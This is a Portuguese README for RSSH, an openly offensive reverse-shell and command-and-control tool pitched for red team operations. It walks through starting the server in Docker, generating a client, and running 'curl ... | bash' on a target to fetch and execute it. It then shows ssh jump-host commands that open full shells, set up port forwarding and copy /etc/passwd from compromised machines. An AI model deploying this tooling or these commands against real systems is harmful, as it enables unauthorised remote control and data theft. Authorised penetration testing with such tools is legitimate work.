
Ferramenta de gerenciamento de shell reverso baseada em SSH com suporte nativo a SCP/SFTP, múltiplos protocolos de transporte, geração de DLL para Windows e execução sem arquivos para operações de red team.
![]()
(Arte de https://www.instagram.com/smart.hedgehog.art/)
Quer usar SSH para reverse shells? Agora você pode.
SCP e SFTP para recuperar arquivos dos seus alvoshttp, websockets, tls e mais +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
A versão em container é recomendada, pois inclui a versão correta do golang e um compilador cruzado para windows.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
ou docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Todos os comandos suportam a flag -h para exibir ajuda.
Em seguida, os comandos ssh típicos funcionam, basta especificar o seu servidor rssh como jump host.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
Você pode encontrar uma documentação mais completa na pasta docs. Isso inclui uma cheatsheet, solução de problemas e mais.
Um enorme agradecimento às seguintes pessoas por doarem ao projeto RSSH e tornarem todo esse trabalho possível!
chikamobina por suas generosas doações!
wrighterase (ctrlzero) por suas contribuições e doações!
Carapace é uma consultoria de segurança baseada na Nova Zelândia com uma equipe extremamente talentosa!

A maneira mais fácil de retribuir ao projeto RSSH é encontrando bugs, abrindo solicitações de recursos e divulgando-o boca a boca para pessoas que você acha que o acharão útil!
No entanto, se você quiser retribuir algo diretamente a mim, pode fazê-lo por meio do Github Sponsors ou enviando para qualquer uma das seguintes carteiras:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr